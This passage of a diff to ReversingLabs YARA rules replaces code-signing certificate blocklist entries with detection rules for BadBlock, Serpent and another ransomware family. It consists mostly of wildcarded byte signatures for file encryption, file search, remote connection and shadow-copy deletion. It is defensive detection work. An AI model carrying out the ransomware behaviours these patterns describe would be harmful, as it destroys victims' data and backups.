?? + ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8B + 35 ?? ?? ?? ?? 0F 43 45 ?? 50 FF D6 85 C0 74 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? B0 ?? + E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B D0 C7 45 ?? ?? ?? ?? ?? + 8B CA C7 45 ?? ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 45 ?? 8D 79 ?? 66 8B 01 83 C1 ?? 66 + 85 C0 75 ?? 2B CF D1 F9 51 52 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? + C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 0F 10 4D ?? 8D 4D ?? F3 + } + $everything_library_setup_p2 = { + 0F 7E 45 ?? C6 45 ?? ?? 83 7D ?? ?? FF 75 ?? 66 0F 7E C8 0F 11 4D ?? 0F 43 C8 66 0F + D6 45 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 + 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 FF D6 85 C0 74 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? B0 + ?? EB ?? 8A 45 ?? C6 05 ?? ?? ?? ?? ?? 84 C0 74 ?? 83 7D ?? ?? 8D 4D ?? 0F 43 4D ?? + 32 D2 E8 ?? ?? ?? ?? 8A C8 88 4D ?? 84 C9 75 ?? B2 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8A C8 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 33 D2 84 C9 88 4D ?? 0F 44 + C2 A2 ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA + ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? + ?? 83 C4 ?? 8B 55 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 83 + FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 + C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8A 45 ?? 8B 4D ?? + 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D 8B E3 5B C3 + } + $delete_shadow_copies_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 + 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F + 88 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? + ?? 85 C0 0F 88 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 6A ?? 6A ?? + 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF D6 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 68 ?? ?? + ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF D6 85 C0 0F 88 ?? ?? ?? ?? 8D 45 ?? 50 FF 15 ?? + ?? ?? ?? 80 3D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 89 45 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? + ?? 0F 45 C1 8D 4D ?? 89 45 ?? 8B 45 ?? 68 ?? ?? ?? ?? 8B 00 8B 70 ?? E8 ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? 8B 00 85 C0 74 ?? 8B 00 EB ?? 33 C0 8D 4D ?? 51 6A ?? 50 FF 75 + ?? FF D6 C7 45 ?? ?? ?? ?? ?? 83 CF ?? 8B 75 ?? 89 45 ?? 85 F6 74 ?? 8B CF F0 0F C1 + 4E ?? 49 75 ?? 85 F6 74 ?? 8B 06 85 C0 74 ?? 50 FF 15 ?? ?? ?? ?? C7 06 ?? ?? ?? ?? + 8B 46 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? ?? ?? 6A ?? 56 E8 ?? + ?? ?? ?? 83 C4 ?? 8B 1D ?? ?? ?? ?? 8D 45 ?? 50 FF D3 83 7D ?? ?? 0F 8C ?? ?? ?? ?? + } + $delete_shadow_copies_p2 = { + 8B 45 ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 00 8B 70 ?? 8B 45 ?? 89 45 + ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 00 85 C0 74 ?? 8B 00 EB ?? 33 C0 8D 4D ?? + 51 FF 75 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 50 FF 75 ?? FF D6 C7 45 ?? ?? ?? ?? ?? 8B + 75 ?? 89 45 ?? 85 F6 74 ?? 8B CF F0 0F C1 4E ?? 49 75 ?? 85 F6 74 ?? 8B 06 85 C0 74 + ?? 50 FF 15 ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? C7 46 ?? ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 85 C0 78 ?? 6A + ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 8B 45 ?? 79 + ?? 8B 08 50 FF 51 ?? 8B 45 ?? 50 8B 08 FF 51 ?? FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 8B 00 68 ?? ?? ?? ?? 8B 40 ?? 89 45 ?? E8 ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 8B 30 85 F6 74 ?? 8B 36 EB ?? 33 F6 68 ?? ?? ?? ?? 8D 4D ?? + E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 00 85 C0 74 ?? 8B 00 EB ?? 33 C0 8D 4D ?? 51 6A ?? 6A + ?? 56 50 FF 75 ?? FF 55 ?? 8B 75 ?? 89 45 ?? 85 F6 74 ?? 8B CF F0 0F C1 4E ?? 49 75 + ?? 85 F6 74 ?? 8B 06 85 C0 74 ?? 50 FF 15 ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 8B 46 ?? 85 + C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 + } + $delete_shadow_copies_p3 = { + C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 75 ?? 85 F6 74 ?? F0 0F C1 7E ?? + 4F 75 ?? 85 F6 74 ?? 8B 06 85 C0 74 ?? 50 FF 15 ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 8B 46 + ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? + ?? 83 C4 ?? 83 7D ?? ?? 7D ?? 8B 45 ?? 50 8B 08 FF 51 ?? 8B 45 ?? E9 ?? ?? ?? ?? 8B + 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 85 C9 74 ?? 8B 01 8D 55 ?? 52 8D 55 + ?? 52 6A ?? 6A ?? 51 FF 50 ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 8D 55 ?? 6A ?? 6A ?? 52 8B + 01 6A ?? 68 ?? ?? ?? ?? 51 FF 50 ?? 85 C0 78 ?? 8B 4D ?? 6A ?? 6A ?? 6A ?? FF 75 ?? + 8B 01 51 FF 50 ?? 85 C0 78 ?? FF 75 ?? 68 ?? ?? ?? ?? EB ?? 50 68 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 FF D3 8B 45 ?? 50 8B 08 FF 51 ?? 8B 4D ?? 85 C9 75 ?? + 8B 4D ?? 85 C9 74 ?? 8B 01 51 FF 50 ?? 8B 45 ?? 50 8B 08 FF 51 ?? 8B 45 ?? 50 8B 08 + FF 51 ?? 8B 45 ?? 8B 08 50 FF 51 ?? FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 4D ?? 64 89 + 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KBK, OOO" and pe.signatures [ i ] . serial == "4b:47:d1:8d:be:a5:7a:bd:15:63:dd:f8:9f:87:a6:c2" and 1590485607 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $write_console_log_p* ) ) and ( all of ( $get_system_information_p* ) ) and ( all of ( $everything_library_setup_p* ) ) and ( all of ( $delete_shadow_copies_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_Be41E2C7Bb2493044B9241Abb732599D : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Badblock : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects BadBlock ransomware." author = "ReversingLabs" - id = "81e5a8f3-0893-534a-ab4f-5c2c47078b40" - date = "2020-08-05" - modified = "2023-11-08" + id = "a5afb7d6-4bc1-5465-a35d-fe40e7f11c3e" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4178-L4196" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BadBlock.yara#L1-L100" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "eb5d94b80fd030d14dc26878895c61761825f3c77209ca0280e88dcd1800f9c2" + logic_hash = "421e6a3772eeec6ef0cbb2427b7e044b450a2b2146cee2ca7d8c3a3a92918557" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "BadBlock" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files = { + 55 8B EC 83 C4 ?? 53 56 57 33 DB 89 5D ?? 89 5D ?? 89 5D ?? 89 4D ?? 89 55 ?? 8B D8 + 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ?? + 8B 40 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C3 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 55 + ?? 8B 45 ?? 8B 40 ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 + ?? B2 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D + 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? + ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 8B 00 6A ?? 50 52 + 8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 50 + E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 + 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 12 89 45 ?? 89 55 ?? E9 ?? ?? + ?? ?? 83 7D ?? ?? 75 ?? 81 7D ?? ?? ?? ?? ?? 73 ?? EB ?? 7D ?? 8B 45 ?? 89 45 ?? 8B + 45 ?? 89 45 ?? EB ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B D8 8B C3 + E8 ?? ?? ?? ?? 8B F0 8B D6 8B CB 8B 45 ?? 8B 38 FF 57 ?? 89 45 ?? 8B 45 ?? 8B 10 FF + 12 52 50 8B 45 ?? E8 ?? ?? ?? ?? 3B 54 24 ?? 75 ?? 3B 04 24 5A 58 72 ?? EB ?? 5A 58 + 7C ?? 8B 45 ?? 50 8D 45 ?? 50 56 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? EB ?? + 8B 45 ?? 50 8D 45 ?? 50 56 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? E8 + ?? ?? ?? ?? 52 50 8B C3 99 29 04 24 19 54 24 ?? 58 5A 52 50 8B 45 ?? E8 ?? ?? ?? ?? + 8B D6 8B 4D ?? 8B 45 ?? 8B 38 FF 57 ?? 8B C3 99 29 45 ?? 19 55 ?? 8B D3 8B C6 E8 ?? + ?? ?? ?? 83 7D ?? ?? 75 ?? 83 7D ?? ?? 0F 87 ?? ?? ?? ?? EB ?? 0F 8F ?? ?? ?? ?? A1 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B + 48 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? A1 ?? ?? ?? ?? 8B 00 8B 80 ?? + ?? ?? ?? 8B 80 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 18 FF 53 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 + C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB + ?? E8 ?? ?? ?? ?? EB ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? + ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? + EB ?? 5F 5E 5B 8B E5 5D C3 + } + $search_files = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D + ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 55 ?? 89 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 + 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B + 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 85 C0 0F 94 C3 E9 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 66 83 38 ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 85 C0 75 ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? + ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 0D ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 66 + 83 38 ?? 74 ?? B9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 + 75 ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? + 8B C6 8B 08 FF 51 ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 94 C3 84 DB 0F 85 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C6 8B 10 FF 52 ?? 8B D8 4B 85 DB 7C ?? + 43 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C6 8B 38 FF + 57 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? E8 ?? ?? ?? ?? FF 85 ?? ?? ?? ?? 4B 75 ?? 8B C6 E8 ?? ?? ?? ?? 33 C0 5A 59 59 + 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 + } + $remote_connection = { + A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? + 8D 4D ?? 8B 45 ?? 8B 90 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D 45 ?? BA ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 08 FF + 51 ?? 8B 45 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? + 05 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 + 89 20 6A ?? 8D 45 ?? 50 8D 4D ?? 8B 15 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? + 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? + 8B 45 ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 + 74 ?? C7 45 ?? ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 83 EB ?? 8B 1B 68 ?? ?? ?? ?? 8B CB + BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? + 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 8B 90 ?? ?? ?? ?? 8D 45 + ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? B2 ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 8B 45 + ?? 8B 90 ?? ?? ?? ?? 8D 45 ?? 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? + ?? 8B 75 ?? 85 F6 74 ?? 83 EE ?? 8B 36 68 ?? ?? ?? ?? 8B CE BA ?? ?? ?? ?? 8B 45 ?? + E8 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 + 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Company Babylon" and ( pe.signatures [ i ] . serial == "00:be:41:e2:c7:bb:24:93:04:4b:92:41:ab:b7:32:59:9d" or pe.signatures [ i ] . serial == "be:41:e2:c7:bb:24:93:04:4b:92:41:ab:b7:32:59:9d" ) and 1589146251 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $search_files and $encrypt_files and $remote_connection ) } - -rule REVERSINGLABS_Cert_Blocklist_15C5Af15Afecf1C900Cbab0Ca9165629 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Serpent : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Serpent ransomware." author = "ReversingLabs" - id = "de734943-e735-5895-b76e-5f8588a77540" - date = "2020-08-05" - modified = "2023-11-08" + id = "0757ad7c-b2b1-5323-960a-55ffe3eaed12" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4198-L4214" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Serpent.yara#L1-L122" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5c54f32dbac271b2b60ec40bd052b5566a512cd2bcb4255057b21262806882d2" + logic_hash = "5e1917e8d23a5edc65ac423f3d18cc78c3848bd6c1ccc67d052eb37172857081" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Serpent" + tc_detection_factor = 5 importance = 25 + strings: + $do_dll_stuff_and_create_thread = { + 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 68 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 89 D2 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 89 FF 90 90 6A ?? 53 E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? + ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 4B 75 ?? BA + ?? ?? ?? ?? 66 0F 6E D2 89 FF 89 C9 31 D2 66 0F 7E D2 89 15 ?? ?? ?? ?? 81 3D ?? ?? + ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 4B 75 ?? BB ?? ?? ?? ?? 89 C9 4B + 75 ?? 89 C9 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 4B + 75 ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 79 ?? E8 ?? + ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 79 ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 4B + 75 ?? 89 FF 90 BB ?? ?? ?? ?? 89 C9 4B 75 ?? 90 90 BB ?? ?? ?? ?? 4B 75 ?? BB ?? ?? + ?? ?? 4B 75 ?? BB ?? ?? ?? ?? 4B 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 90 BB ?? ?? ?? ?? 89 D2 4B 75 ?? 6A ?? 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? BA ?? + ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 90 89 C9 BB ?? ?? ?? ?? 89 FF 4B 75 ?? 68 ?? ?? ?? ?? + 6A ?? 56 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 89 D2 4B 75 ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 33 + C0 A3 ?? ?? ?? ?? 64 8B 35 ?? ?? ?? ?? 89 35 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? + 90 89 F6 90 BB ?? ?? ?? ?? 89 DB 4B 75 ?? 89 D2 89 C0 BB ?? ?? ?? ?? 89 D2 4B 75 ?? + C7 05 ?? ?? ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 FF 4B 75 ?? 89 C0 0F 31 90 89 C7 0F + 31 90 89 C0 29 F8 89 D2 89 DB 77 ?? 90 90 89 C9 89 F6 8B 3D ?? ?? ?? ?? 90 90 89 C9 + 89 F6 90 03 3D ?? ?? ?? ?? 90 90 89 C9 89 F6 FF D7 89 F6 90 90 BB ?? ?? ?? ?? 4B 75 + ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? C3 + } + $find_files = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 C0 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? + ?? ?? ?? 89 85 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 45 + ?? 8B 58 ?? 83 7B ?? ?? 75 ?? 8D 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8D 55 ?? + A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 73 ?? 6A ?? 8D 45 ?? 50 8B 43 ?? 50 E8 ?? ?? ?? ?? + 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? + 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 43 ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C6 85 ?? + ?? ?? ?? ?? 8B 45 ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? C6 85 + ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B 8D ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 EB ?? 8B 43 ?? 89 + 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B 45 ?? 89 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? + 89 B5 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 95 ?? ?? ?? ?? + A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B D8 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 